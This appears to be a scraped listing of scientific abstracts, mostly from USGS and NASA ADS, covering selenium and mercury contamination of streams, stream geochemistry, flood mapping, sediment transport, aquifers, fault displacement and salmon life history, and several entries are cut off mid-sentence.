Transit spectroscopy provides evidence that extrasolare planets are covered in clouds, a finding that has been forecast by cloud model simulations 15 years ago. Atmospheres are strongly affected by clouds through their large opacity and their chemical activity. Cloud formation models allow to predict cloud particle sizes, their chemical composition and the composition of the remaining atmospheric gas (Woitke & Helling 2004, A&A 414; Helling & Woitke 2006, A&A 455), for example, as input for radiative transfer codes like Drift-Phoenix (Witte et al. 2009; A&A 506). These cloud particles are charged and can discharge, for example in form of lighting (Helling et al. 2013, ApJ 767; Bailey et al. 2014, ApJ 784). Earth observations demonstrate that lighting effects not only the local chemistry but also the electron budget of the atmosphere. This talk will present our work on cloud formation modelling and ionisation processes in cloud forming atmospheres. An hierarchy of ionisation processes leads to a vertically inhomogenously ionised atmosphere which has implications for planetary mass loss and global circulation pattern of planetary atmospheres. Processes involved, like Cosmic Ray ionisation, do also activate the local chemistry such that large hydrocarbon molecules form (Rimmer et al. 2014, IJAsB 13).

Field screening of water, soil, bottom sediment, and biota associated with irrigation drainage in the Dolores Project and the Macos River basin, southwestern Colorado, 1994

USGS Publications Warehouse

Butler, D.L.; Osmundson, B.C.; Krueger, R.P.

1997-01-01

A reconnaissance investigation for the National Irrigation Water Quality Program in 1990 indicated elevated selenium concentrations in some water and biota samples collected in the Dolores Project in southwestern Colorado. High selenium concentrations also were indicated in bird samples collected in the Mancos Project in 1989. In 1994, field screenings were done in parts of the Dolores Project and Mancos River Basin to collect additional selenium data associated with irrigation inthose areas. Selenium is mobilized from soils in newly irrigated areas of the Dolores Project called the Dove Creek area, which includes newly (since 1987) irrigated land north of Cortez and south of Dove Creek.Selenium was detected in 18 of 20stream samples, and the maximum concentration was 12micrograms per liter. The Dove Creek area is unique compared to other study areas of the National Irrigation Water Quality Program becauseselenium concentrations probably are indicative of initial leaching conditions in a newly irrigated area.Selenium concentrations in nine shallow soil samples from the Dove Creek area ranged from 0.13 to 0.20 micrograms per gram. Selenium concentrations in bottom sediment from six ponds were less than the level of concern for fish and wildlife of 4 micrograms per gram. Many biota samples collected in the Dove Creek area had elevated selenium concentrations when compared to various guidelines and effect levels,although selenium concentrations in water, soil, and bottom sediment were relatively low. Selenium concentrations in 12 of 14 aquatic-invertebratesamples from ponds exceeded 3 micrograms per gram dry weight, a dietary guideline for protection of fish and wildlife. The mean seleniumconcentration of 10.3 micrograms per gram dry weight in aquatic bird eggs exceeded the guideline for reduced hatchability of 8 micrograms per gramdry weight. Two ponds in the Dove Creek area had a high selenium hazard rating based on a new protocol for assessing selenium hazard in theenvironment; however, waterfowl were reproducing at the two ponds. Three tributary streams of Mc Elmo Creek that drain irrigated areas of the Montezuma Valley south of the creek were sampled in 1994. Mud Creek probably is the largest source of selenium to Mc Elmo Creek. Most biota samples from Mud Creek had elevated selenium concentrations when compared to guidelines for dietary items and freshwater fish. Selenium concentrations in water samples collected in the Mancos River Basin upstream from Navajo Wash, which includes the Mancos Project, ranged from less than 1 to 10 micrograms per liter. Mud Creek contributed about 74 percent of the selenium load to the upper Mancos River in March 1994.Selenium concentrations were much higher in Navajo Wash; a sample collected in March had 97 micrograms per liter of selenium. Bottom-sediment samples from two ponds in the Mancos Projectexceeded the concentration of concern of 4 micrograms per gram. The highest selenium concentrations in biota samples from streams in the Mancos River Basin were for samples from Navajo Wash. Mostconcentrations in biota in the upper Mancos River Basin were less than guidelines. Mean selenium concentrations in eggs from aquatic birds collected at three ponds in the Mancos Project slightly exceed the guideline associated with reduced hatchability.Five bird livers had a mean selenium concentration of 32.6 micrograms per gram dry weight, whichslightly exceeded the mean concentration of 30 micrograms per gram dry weight that is associated with reproductive impairment. Two of the pondshad a high selenium hazard rating; however, mallard reproduction was observed in 1994 at one of the ponds that had a high selenium-hazard rating.

Geochemical Differences between two adjacent streams in the Tenaya Lake region of Yosemite National Park

NASA Astrophysics Data System (ADS)

Antweiler, R.; Andrews, E. D.

2010-12-01

Tenaya and Murphy Creeks are two small, intermittent streams with drainage basins adjacent to each other in the Tenaya Lake region of Yosemite National Park. Tenaya Creek has a drainage basin area of 3.49 km2 ranging in elevation from 2491 to 3012 m; Murphy Creek has a drainage basin size of 7.07 km2 ranging in elevation from 2485 to 2990 m. Both basins are underlain by the Half Dome and Cathedral Peak Granodiorites (Bateman et al, 1983), with chemical compositions that are practically indistinguishable (Bateman et al, 1988). Both streams derive all of their water from snowmelt and rainfall, normally going dry by early August each year. Tenaya Creek flows primarily south-southwest, whereas Murphy Creek predominantly flows south. For nearly all of Tenaya Creek’s length it is bordered by the Tioga Pass Road, the only highway in Yosemite National Park which crosses the Sierras; on the other hand, all of Murphy Creek (except its mouth) is wilderness. During the summers of 2009 and 2010, both creeks were sampled along most of their lengths for major and trace elements. In addition, both streams have been sampled near their mouths periodically during the spring and summer (until they go dry) since 2007. Water discharge has been continuously monitored during this time. Because these streams derive all of their water from snowmelt and rainfall, the water chemistry of each must originate from atmospheric deposition, weathering of the bedrock and/or human or animal inputs. These factors, along with the similarity of the geology, topography and basin orientation, suggest that the water chemistries of the creeks should be similar. Instead, while measured sulfate concentrations in Tenaya and Murphy Creeks are similar in their upper reaches, Tenaya Creek sulfate values are almost double in the lower reaches. No other major or trace element showed a similar pattern, although sodium, potassium, calcium and rubidium showed modest increases. Other concentration differences between the two streams were mostly in magnitude rather than in downstream trends. For example, concentrations of beryllium, cobalt, lithium, niobium, silica and the rare earth elements (REE) were uniformly higher in Tenaya Creek whereas concentrations of iodide, molybdenum, tellurium, and tungsten were higher in Murphy Creek. During each water year, chloride concentrations increase as discharge decreases in both streams, a pattern seen for most elements. In contrast, aluminum, niobium, thorium and the REE decrease with decreasing flow for both streams, indicating that basin export of these is dominated by snowmelt runoff. Although most chemical constituents show similar patterns between drainages over the course of a water year, sulfate is exceptional: concentrations tend to decrease with decreasing flow in Murphy Creek, whereas sulfate increases at a greater rate than does chloride in Tenaya Creek.

Environmental assessment of water, sediment, and biota collected from the Bear Creek watershed, Colusa County, California

USGS Publications Warehouse

Rytuba, James J.; Hothem, Roger L.; Brussee, Brianne E.; Goldstein, Daniel; May, Jason T.

2015-01-01

The Cache Creek watershed lies within California's North Coast Range, an area with abundant geologic sources of mercury (Hg) and a long history of Hg contamination (Rytuba, 2000). Bear Creek, Cache Creek, and the North Fork of Cache Creek are the major streams of the Cache Creek watershed, encompassing 2978 km2. The Cache Creek watershed contains soils naturally enriched in Hg as well as natural springs (both hot and cold) with varying levels of aqueous Hg (Domagalski and others, 2004, Suchanek and others, 2004, Holloway and others 2009). All three tributaries are known to be significant sources of anthropogenically derived Hg from historic mines, both Hg and gold (Au), and associated ore storage/processing sites and facilities (Slotton and others, 1995, 2004; CVRWQCB, 2003; Schwarzbach and others, 2001; Gassel and others, 2005; Suchanek and others., 2004, 2008a, 2009). Historically, two of the primary sources of mercury contamination in the upper part of Bear Creek have been the Rathburn and Petray Hg Mines. The Rathburn Hg mine was discovered and initially mined in the early 1890s. The Rathburn and the more recently developed Petray open pit mines are localized along fault zones in serpentinite that has been altered and cut by quartz and chalcedony veins. Cold saline-carbonate springs are located perepheral to the Hg deposits and effluent from the springs locally has high concentrations of Hg (Slowey and Rytuba, 2008). Several ephemeral tributaries to Bear Creek drain the mine area which is located on federal land managed by the U.S. Bureau of Land Management (USBLM). The USBLM requested that the U.S. Geological Survey (USGS) measure and characterize Hg and other geochemical constituents in sediment, water, and biota to establish baseline information prior to remediation of the Rathburn and Petray mines. Samples sites were established in Bear Creek upstream and downstream from the mine area. This report is made in response to the USBLM request, the lead agency mandated to conduct a Comprehensive Environmental Response, Compensation, and Liability Act (CERCLA) - Removal Site Investigation (RSI). The RSI applies to the possible removal of Hg-contaminated mine waste from Bear Creek. This report summarizes data obtained from field sampling of water, sediment, and biota in Bear Creek, above input from the mine area and downstream from the Rathburn-Petray mine area to the confluence with Cache Creek. Our results permit a preliminary assessment of the chemical constituents that could elevate levels of monomethyl Hg (MMeHg) in Bear Creek and its uptake by biota and provide baseline information for comparison to conditions after mine remediation is completed.

Flood-inundation maps for Indian Creek and Tomahawk Creek, Johnson County, Kansas, 2014

USGS Publications Warehouse

Peters, Arin J.; Studley, Seth E.

2016-01-25

Digital flood-inundation maps for a 6.4-mile upper reach of Indian Creek from College Boulevard to the confluence with Tomahawk Creek, a 3.9-mile reach of Tomahawk Creek from 127th Street to the confluence with Indian Creek, and a 1.9-mile lower reach of Indian Creek from the confluence with Tomahawk Creek to just beyond the Kansas/Missouri border at State Line Road in Johnson County, Kansas, were created by the U.S. Geological Survey in cooperation with the city of Overland Park, Kansas. The flood-inundation maps, which can be accessed through the U.S. Geological Survey Flood Inundation Mapping Science Web site at http://water.usgs.gov/osw/flood_inundation/, depict estimates of the areal extent and depth of flooding corresponding to selected water levels (stages) at the U.S. Geological Survey streamgages on Indian Creek at Overland Park, Kansas; Indian Creek at State Line Road, Leawood, Kansas; and Tomahawk Creek near Overland Park, Kansas. Near real time stages at these streamgages may be obtained on the Web from the U.S. Geological Survey National Water Information System at http://waterdata.usgs.gov/nwis or the National Weather Service Advanced Hydrologic Prediction Service at http://water.weather.gov/ahps/, which also forecasts flood hydrographs at these sites.Flood profiles were computed for the stream reaches by means of a one-dimensional step-backwater model. The model was calibrated for each reach by using the most current stage-discharge relations at the streamgages. The hydraulic models were then used to determine 15 water-surface profiles for Indian Creek at Overland Park, Kansas; 17 water-surface profiles for Indian Creek at State Line Road, Leawood, Kansas; and 14 water-surface profiles for Tomahawk Creek near Overland Park, Kansas, for flood stages at 1-foot intervals referenced to the streamgage datum and ranging from bankfull to the next interval above the 0.2-percent annual exceedance probability flood level (500-year recurrence interval). The simulated water-surface profiles were then combined in a geographic information system with a digital elevation model derived from light detection and ranging data (having a 0.429-foot vertical and 0.228-foot horizontal accuracy) to delineate the area flooded at each water level.The availability of these maps, along with Web information regarding current stage from the U.S. Geological Survey streamgages and forecasted high-flow stages from the National Weather Service, will provide emergency management personnel and residents with information that is critical for flood response activities such as evacuations, road closures, and postflood recovery efforts.

Hydrochemical simulation of a mountain basin under hydrological variability

NASA Astrophysics Data System (ADS)

Montserrat, S.; Trewhela, T. A.; Navarro, L.; Navarrete, A.; Lagos Zuniga, M. A.; Garcia, A.; Caraballo, M.; Niño, Y.; McPhee, J. P.

2016-12-01

Water quality and the comprehension of hydrochemical phenomena in natural basins should be of complete relevance under hydrological uncertainties. The importance of identifying the main variables that are controlling a natural system and finding a way to predict their behavior under variable scenarios is mandatory to preserve these natural basins. This work presents an interdisciplinary model for the Yerba Loca watershed, a natural reserve basin in the Chilean central Andes. Based on different data sets, provided by public and private campaigns, a natural hydrochemical regime was identified. Yerba Loca is a natural reserve, characterized by the presence of several glaciers and wide sediment deposits crossed by a small low-slope creek in the upper part of the basin that leads to a high-slope narrow channel with less sediment depositions. Most relevant is the geological context around the glaciers, considering that most of them cover hydrothermal zones rich in both sulfides and sulfates, a situation commonly found in the Andes due to volcanic activity. Low pH (around 3), calcium-sulfate water with high concentrations of Iron, Copper and Zinc are found in the upper part of the basin in summer. These values can be attributed to the glaciers melting down and draining of the mentioned country rocks, which provide most of the creek flow in the upper basin. The latter clearly contrasts with the creek outlet, located 18 km downstream, showing near to neutral pH values and lower concentrations of the elements already mentioned. The scope of the present research is to account for the sources of the different hydrological inlets (e.g., rainfall, snow and/or glacier melting) that, depending on their location, may interact with a variety of reactive minerals and generate acid rock drainage (ARD). The inlet water is modeled along the creek using the softwares HEC-RAS and PHREEQC coupled, in order to characterize the water quality and to detect preferred sedimentation sections retaining precipitated minerals, mostly Iron and Aluminium hydroxysulfates, due to low velocity flow in those areas. Validation of the results is done using several data sets that show cycles along seasons under variable outflow and chemical conditions in the outlet of the basin, responding to the same inflow and initial chemical data used for simulation.

40Ar/39Ar age of the Manson impact structure, Iowa, and correlative impact ejecta in the Crow Creek member of the Pierre Shale (Upper Cretaceous), South Dakota and Nebraska

USGS Publications Warehouse

Izett, G.A.; Cobban, W.A.; Dalrymple, G.B.; Obradovich, J.D.

1998-01-01

A set of 34 laser total-fusion 40Ar/39Ar analyses of sanidine from a melt layer in crater-fill deposits of the Manson impact structure in Iowa has a weighted-mean age of 74.1 ?? 0.1 Ma. This age is about 9.0 m.y. older than 40Ar/39Ar ages of shocked microcline from the Manson impact structure reported previously by others. The 74.1 Ma age of the sanidine, which is a melt product of Precambrian microcline clasts, indicates that the Manson impact structure played no part in the Cretaceous-Tertiary (K-T) mass extinction at 64.5 Ma. Moreover, incremental-heating 40Ar/39Ar ages of the sanidine show that it is essentially free of excess 40Ar and has not been influenced by postcrystallization heating or alteration. An age spectrum of the matrix of the melt layer shows effects of 39Ar recoil, including older ages in the low-temperature increments and younger ages in the high-temperature increments. At 17 places in eastern South Dakota and Nebraska, shocked quartz and feldspar grains are concentrated in the lower part of the Crow Creek Member of the Pierre Shale (Upper Cretaceous). The grains are largest (3.2 mm) in southeastern South Dakota and decrease in size (0.45 mm) to the northwest, consistent with the idea that the Manson impact structure was their source. The ubiquitous presence of shocked grains concentrated in a thin calcarenite at the base of the Crow Creek Member suggests it is an event bed recording an instant of geologic time. Ammonites below and above the Crow Creek Member limit its age to the zone of Didymoceras nebrascense of earliest late Campanian age. Plagioclase from a bentonite bed in this zone in Colorado has a 40Ar/39Ar age of 74.1 ?? 0.1 Ma commensurate with our sanidine age of 74.1 Ma for the Manson impact structure. 40Ar/39Ar ages of bentonite beds below and above the Crow Creek are consistent with our 74.1 ?? 0.1 Ma age for the Manson impact structure and limit its age to the interval ?? 74.5 0.1 to 73.8 ?? 0.1 Ma. Recently, two origins for the Crow Creek have been proposed - eastward transgression of the Late Cretaceous sea and a Manson impact-triggered tsunami. We conclude that most data are in accord with an impact origin for the Crow Creek Member and are at odds with the marine transgression hypothesis.

Effects of a Community Restoration Fire on Small Mammals and Herpetofauna in the Southern Appalachains

Treesearch

William M. Ford; M. Alex Menzel; David W. McGill; Joshua Laerm; Timothy S. McCay

1999-01-01

As part of the Wine Spring Creek ecosystem management project on the Nantahala National forest, North Carolina, we assessed effects of a community restoration fire on small mammals and herpetofauna in the upper slope pitch pine (Pinus rigida) stands, neighboring midslope oak (Quercus spp.) stands and rhododendron (...

54. VIEW OF ROASTER ADDITION FROM SOUTHEAST. SHOWS ELEVATOR/ORE BIN ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

54. VIEW OF ROASTER ADDITION FROM SOUTHEAST. SHOWS ELEVATOR/ORE BIN ADDITION ON LEFT WITH BASE OF EXHAUST STACK, PORTION OF TOPPLED STACK ON LOWER RIGHT IN VIEW, AND UPPER TAILINGS POND BEYOND. - Bald Mountain Gold Mill, Nevada Gulch at head of False Bottom Creek, Lead, Lawrence County, SD

Hydrologic conditions and water quality of rainfall and storm runoff for two agricultural areas of the Oso Creek watershed, Nueces County, Texas, 2005-08

USGS Publications Warehouse

Ockerman, Darwin J.; Fernandez, Carlos J.

2010-01-01

The U.S. Geological Survey, in cooperation with the Texas State Soil and Water Conservation Board, Coastal Bend Bays and Estuaries Program, and Texas AgriLife Research and Extension Center at Corpus Christi, studied hydrologic conditions and water quality of rainfall and storm runoff of two primarily agricultural subwatersheds of the Oso Creek watershed in Nueces County, Texas. One area, the upper West Oso Creek subwatershed, is about 5,145 acres. The other area, a subwatershed drained by an unnamed tributary to Oso Creek (hereinafter, Oso Creek tributary), is about 5,287 acres. Rainfall and runoff (streamflow) were continuously monitored at the outlets of the two subwatersheds during the study period October 2005-September 2008. Seventeen rainfall samples were collected and analyzed for nutrients and major inorganic ions. Twenty-four composite runoff water-quality samples (12 at West Oso Creek, 12 at Oso Creek tributary) were collected and analyzed for nutrients, major inorganic ions, and pesticides. Twenty-six discrete suspended-sediment samples (12 West Oso Creek, 14 Oso Creek tributary) and 17 bacteria samples (10 West Oso Creek, 7 Oso Creek tributary) were collected and analyzed. These data were used to estimate, for selected constituents, rainfall deposition to and runoff loads and yields from the two subwatersheds. Quantities of fertilizers and pesticides applied in the two subwatersheds were compared with quantities of nutrients and pesticides in rainfall and runoff. For the study period, total rainfall was greater than average. Most of the runoff from the two subwatersheds occurred in response to a few specific storm periods. The West Oso Creek subwatershed produced more runoff during the study period than the Oso Creek tributary subwatershed, 13.95 inches compared with 9.45 inches. Runoff response was quicker and peak flows were higher in the West Oso Creek subwatershed than in the Oso Creek tributary subwatershed. Total nitrogen runoff yield for the 3-year study period averaged 2.62 pounds per acre per year from the West Oso Creek subwatershed and 0.839 pound per acre per year from the Oso Creek tributary subwatershed. Total phosphorus yields from the West Oso Creek and Oso Creek tributary subwatersheds for the 3-year period were 0.644 and 0.419 pound per acre per year, respectively. Runoff yields of nitrogen and phosphorus were relatively small compared to inputs of nitrogen in fertilizer and rainfall deposition. Average annual runoff yield of total nitrogen (subwatersheds combined) represents about 2.5 percent of nitrogen applied as fertilizer to cropland in the watershed and nitrogen entering the subwatersheds through rainfall deposition. Average annual runoff yield of total phosphorus (subwatersheds combined) represents about 4.0 percent of the phosphorus in applied fertilizer and rainfall deposition. Suspended-sediment yields from the West Oso Creek subwatershed were more than twice those from the Oso Creek tributary subwatershed. The average suspended-sediment yield from the West Oso Creek subwatershed was 522 pounds per acre per year and from the Oso Creek tributary subwatershed was 139 pounds per acre per year. Twenty-four herbicides and eight insecticides were detected in runoff samples collected at the two subwatershed outlets. At the West Oso Creek site, 19 herbicides and 4 insecticides were detected; at the Oso Creek tributary site, 18 herbicides and 6 insecticides were detected. Fourteen pesticides were detected in only one sample at low concentrations (near the laboratory reporting level). Atrazine and atrazine degradation byproduct 2-chloro-4-isopropylamino-6-amino-s-triazine (CIAT) were detected in all samples. Glyphosate and glyphosate byproduct aminomethylphosphonic acid (AMPA) were detected in all samples collected and analyzed during water years 2006-07 but were not included in analysis for samples collected in water year 2008. Of all pesticides detected in runoff, the highest runoff yields w

Copper, cadmium, and zinc concentrations in aquatic food chains from the Upper Sacramento River (California) and selected tributaries

USGS Publications Warehouse

Saiki, M.K.; Castleberry, D. T.; May, T. W.; Martin, B.A.; Bullard, F. N.

1995-01-01

Metals enter the Upper Sacramento River above Redding, California, primarily through Spring Creek, a tributary that receives acid-mine drainage from a US EPA Superfund site known locally as Iron Mountain Mine. Waterweed (Elodea canadensis) and aquatic insects (midge larvae, Chironomidae; and mayfly nymphs, Ephemeroptera) from the Sacramento River downstream from Spring Creek contained much higher concentrations of copper (Cu), cadmium (Cd), and zinc (Zn) than did similar taxa from nearby reference tributaries not exposed to acid-mine drainage. Aquatic insects from the Sacramento River contained especially high maximum concentrations of Cu (200 mg/kg dry weight in midge larvae), Cd (23 mg/kg dry weight in mayfly nymphs), and Zn (1,700 mg/kg dry weight in mayfly nymphs). Although not always statistically significant, whole-body concentrations of Cu, Cd, and Zn in fishes (threespine stickleback, Gasterosteus aculeatus; Sacramento sucker, Catostomus occidentalis; Sacramento squawfish, Ptychocheilus grandis; and chinook salmon, Oncorhynchus tshawytasch) from the Sacramento River were generally higher than in fishes from the reference tributaries.

A preliminary appraisal of sediment sources and transport in Kings Bay and vicinity, Georgia and Florida

USGS Publications Warehouse

McConnell, J.B.; Radtke, D.B.; Hale, T.W.; Buell, G.R.

1983-01-01

Water-quality, bottom-material, suspended-sediment, and current-velocity data were collected during November 1981 in Kings Bay and vicinity to provide information on the sources and transport of estuarine sediments. Kings Bay and Cumberland Sound , the site of the Poseidon Submarine Base in southeast Georgia, are experiencing high rates of sediment deposition and accumulation, which are causing serious navigational and operational problems. Velocity, bathymetry, turbidity, and bottom-material data suggest that the area in the vicinity of lower Kings Bay is accumulating deposits of suspended sediment transported from Cumberland Sound on the floodtide and from upper Kings Bay and the tidal marsh drained by Marianna Creek on the ebbtide. Suspended-sediment discharges computed for consecutive 13-hour ebbtides and floodtides showed that a net quantity of suspended sediment was transported seaward from upper Kings Bay and Marianna Creek. A net landward transport of suspended sediment computed at the St. Marys Entrance indicated areas seaward of St. Marys Entrance may be supplying sediment to the shoaling areas of the estuary, including lower Kings Bay. (USGS)

Sediment sources and transport in Kings Bay and vicinity, Georgia and Florida, July 8-16, 1982

USGS Publications Warehouse

Radtke, D.B.

1985-01-01

Water quality, bottom-material, suspended-sediment, and current velocity data were collected during July 1982 in Kings Bay and vicinity to provide information on the source and transport of estuarine sediments. Kings Bay and Cumberland Sound, the site of the Poseidon Submarine Base in southeast Georgia, are experiencing high rates of sediment deposition and accumulation, which are causing serious navigational and operational problems. Velocity, bathymetry, turbidity, and bottom-material data suggest sediment transported from lower Kings Bay is accumulating deposits of suspended sediment transported from Cumberland Sound on the floodtide and from upper Kings Bay and the tidal march drained by Marianna Creek on the ebbtide. Suspended-sediment discharges computed for consecutive 13-hr ebbtides and floodtides showed that a net quantity of suspended sediment was transported seaward from upper Kings Bay and Marianna Creek. A net landward transport of suspended sediment computed at the St. Marys Entrance indicated areas seaward of St. Marys Entrance may be supplying sediment to the shoaling areas of the estuary, including lower Kings Bay. (USGS)

Evaluation of hypotheses for right-lateral displacement of Neogene strata along the San Andreas Fault between Parkfield and Maricopa, California

USGS Publications Warehouse

Stanley, Richard G.; Barron, John A.; Powell, Charles L.

2017-12-22

We used geological field studies and diatom biostratigraphy to test a published hypothesis that Neogene marine siliceous strata in the Maricopa and Parkfield areas, located on opposite sides of the San Andreas Fault, were formerly contiguous and then were displaced by about 80–130 kilometers (km) of right-lateral slip along the fault. In the Maricopa area on the northeast side of the San Andreas Fault, the upper Miocene Bitterwater Creek Shale consists of hard, siliceous shale with dolomitic concretions and turbidite sandstone interbeds. Diatom assemblages indicate that the Bitterwater Creek Shale was deposited about 8.0–6.7 million years before present (Ma) at the same time as the uppermost part of the Monterey Formation in parts of coastal California. In the Parkfield area on the southwest side of the San Andreas Fault, the upper Miocene Pancho Rico Formation consists of soft to indurated mudstone and siltstone and fossiliferous, bioturbated sandstone. Diatom assemblages from the Pancho Rico indicate deposition about 6.7–5.7 Ma (latest Miocene), younger than the Bitterwater Creek Shale and at about the same time as parts of the Sisquoc Formation and Purisima Formation in coastal California. Our results show that the Bitterwater Creek Shale and Pancho Rico Formation are lithologically unlike and of different ages and therefore do not constitute a cross-fault tie that can be used to estimate rightlateral displacement along the San Andreas Fault.In the Maricopa area northeast of the San Andreas Fault, the Bitterwater Creek Shale overlies conglomeratic fan-delta deposits of the upper Miocene Santa Margarita Formation, which in turn overlie siliceous shale of the Miocene Monterey Formation from which we obtained a diatom assemblage dated at about 10.0–9.3 Ma. Previous investigations noted that the Santa Margarita Formation in the Maricopa area contains granitic and metamorphic clasts derived from sources in the northern Gabilan Range, on the opposite side of the San Andreas Fault, that have moved relatively northwestward by 254 ± 5 km of right-lateral displacement along the fault. Our new diatom ages suggest that Santa Margarita deposition and fault displacement began about 10–8 Ma and imply long-term average slip rates along the San Andreas Fault of about 25–32 millimeters per year (mm/yr), Evaluation of Hypotheses for Right-Lateral Displacement of Neogene Strata Along the San Andreas Fault Between Parkfield and Maricopa, California By Richard G. Stanley, John A. Barron, and Charles L. Powell, II about the same as published estimates of Quaternary average slip rates based on geologic and geodetic studies.

Geohydrology of the stratified-drift aquifer system in the lower Sixmile Creek and Willseyville Creek trough, Tompkins County, New York

USGS Publications Warehouse

Miller, Todd S.; Karig, Daniel E.

2010-01-01

In 2002, the U.S. Geological Survey, in cooperation with the Tompkins County Planning Department began a series of studies of the stratified-drift aquifers in Tompkins County to provide geohydrologic data for planners to develop a strategy to manage and protect their water resources. This aquifer study in lower Sixmile Creek and Willseyville Creek trough is the second in a series of aquifer studies in Tompkins County. The study area is within the northern area of the Appalachian Plateau and extends about 9 miles from the boundary between Tompkins County and Tioga County in the south to just south of the City of Ithaca in the north. In lower Sixmile Creek and Willseyville Creek trough, confined sand and gravel aquifers comprise the major water-bearing units while less extensive unconfined units form minor aquifers. About 600 people who live in lower Sixmile Creek and Willseyville Creek trough rely on groundwater from the stratified-drift aquifer system. In addition, water is used by non-permanent residents such as staff at commercial facilities. The estimated total groundwater withdrawn for domestic use is about 45,000 gallons per day (gal/d) or 0.07 cubic foot per second (ft3/s) based on an average water use of 75 gal/d per person for self-supplied water systems in New York. Scouring of bedrock in the preglacial lower Sixmile Creek and Willseyville Creek valleys by glaciers and subglacial meltwaters truncated hillside spurs, formed U-shaped, transverse valley profiles, smoothed valley walls, and deepened the valleys by as much as 300 feet (ft), forming a continuous trough. The unconsolidated deposits in the study area consist mostly of glacial drift, both unstratified drift (till) and stratified drift (laminated lake, deltaic, and glaciofluvial sediments), as well as some post-glacial stratified sediments (lake-bottom sediments that were deposited in reservoirs, peat and muck that were deposited in wetlands, and alluvium deposited by streams). Multiple advances and retreats of the ice in the study area resulted in several sequences of various types of glacial deposits. A large moraine (Valley Heads Moraine) dominates the southern part of the study area, a large delta dominates the central part, and ground moraine (mostly till) dominates the northern part. Glacial sediments in the center of the lower Sixmile Creek and Willseyville Creek trough typically range from 150 to 200 ft but can be greater than 300 ft in some places. Where the sediments are composed of sand and gravel they form aquifers. In most parts of the lower Sixmile Creek and Willseyville Creek trough, there is an upper and a basal confined aquifer. However, underlying the central parts of the Brooktondale delta, there are as many as four confined aquifers, whereas in the northern part of the study area, only one extensive confined aquifer is present. The major sources of recharge to these confined aquifers are (1) direct infiltration of precipitation where confined aquifers crop out at land surface (mostly along the western trough wall in the southern and central parts of the study area and, to a lesser degree, along the eastern trough wall); (2) unchanneled surface and subsurface runoff from adjacent upland areas that seeps into the aquifer along the western trough walls; (3) subsurface flow from underlying till or bedrock at the lateral contacts at trough walls; (4) adjacent fine-grained stratified drift, especially when the aquifer is pumped; and (5) discharge from bedrock at the bottom and sides of the trough. In the central part of the study area, the surficial coarse-grained sediments (sand and gravel) comprise a delta near Brooktondale and form a small unconfined aquifer (0.3 square mile). Although much of the upper part of the delta has been removed by several aggregate mining operations, sufficient amounts of sand and gravel remain in most places to form a thin unconfined aquifer. The major sources of recharge to the unconfined aquifer are (1)

Tracing ground-water movement by using the stable isotopes of oxygen and hydrogen, upper Penitencia Creek alluvial fan, Santa Clara Valley, California

USGS Publications Warehouse

Muir, K.S.; Coplen, Tyler B.

1981-01-01

Starting in 1965 the Santa Clara Valley Water District began importing about i00,000 acre-feet per year of northern California water. About one-half of this water was used to artificially recharge the Upper Penitencia Creek alluvial fan in Santa Clara Valley. In order to determine the relative amounts of local ground water and recharged imported water being pumped from the wells, stable isotopes of oxygen and hydrogen were used to trace the movement of the imported water in the alluvial fan. To trace the movement of imported water in the Upper Penitencia Creek alluvial fan, well samples were selected to give areal and depth coverage for the whole fan. The stable isotopes of oxygen-16, oxygen-18, and deuterium were measured in the water samples of imported water and from the wells and streams in the Santa Clara Valley. The d18oand dD compositions of the local runoff were about -6.00 o/oo (parts per thousand) and -40 o/oo, respectively; the average compositions for the local native ground-water samples were about -6.1 o/oo and -41 o/oo, respectively; and the average compositions of the imported water samples were -10.2 o/oo and -74 o/oo, respectively. (The oxygen isotopic composition of water samples is reported relative to Standard Mean Ocean Water, in parts per thousand.) The difference between local ground water and recharged imported water was about 4.1 o/oo in d18o and 33 o/oo in dL. The isotopic data indicate dilution of northern California water with local ground water in a downgradient direction. Two wells contain approximately 74 percent northern California water, six wells more than 50 percent. Data indicate that there may be a correlation between the percentage of northern California water and the depth or length of perforated intervals in wells.

Investigations into the Early Life History of Naturally Produced Spring Chinook Salmon in the Grande Ronde Riiver Basin : Fish Research Project Oregon : Annual Progress Report 1 September 1995 to 1 August 1996.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Jonasson, Brian C.; Carmichael, Richard W.; Keefe, MaryLouise

1997-09-01

Historically, the Grande Ronde River produced an abundance of salmonids including stocks of spring, summer and fall chinook salmon, sockeye salmon, coho salmon, and summer steelhead. During the past century, numerous factors have caused the reduction of salmon stocks such that only sustainable stocks of spring chinook salmon and summer steelhead remain. The sizes of spring chinook salmon populations in the Grande Ronde River basin also have been declining steadily and are substantially depressed from estimates of historic levels. In addition to a decline in population abundance, a reduction of spring chinook salmon spawning distribution is evident in the Grandemore » Ronde River basin. Numerous factors are thought to contribute to the decline of spring chinook salmon in the Snake River and its tributaries. These factors include passage problems and increased mortality of juvenile and adult migrants at mainstem Columbia and Snake river dams, overharvest, and habitat degradation associated with timber, agricultural, and land development practices. This study was designed to describe aspects of the life history strategies exhibited by spring chinook salmon in the Grande Ronde River basin. During the past year the focus was on rearing and migration patterns of juveniles in the upper Grande Ronde River and Catherine Creek. The study design included three objectives: (1) document the annual in-basin migration patterns for spring chinook salmon juveniles in the upper Grande Ronde River and Catherine Creek, including the abundance of migrants, migration timing and duration; (2) estimate and compare smolt survival indices to mainstem Columbia and Snake river dams for fall and spring migrating spring chinook salmon; and (3) determine summer and winter habitat utilization and preference of juvenile spring chinook salmon in the upper Grande Ronde River and Catherine Creek.« less

Spatial Distribution of Hydrologic Ecosystem Service Estimates: Comparing Two Models

NASA Astrophysics Data System (ADS)

Dennedy-Frank, P. J.; Ghile, Y.; Gorelick, S.; Logsdon, R. A.; Chaubey, I.; Ziv, G.

2014-12-01

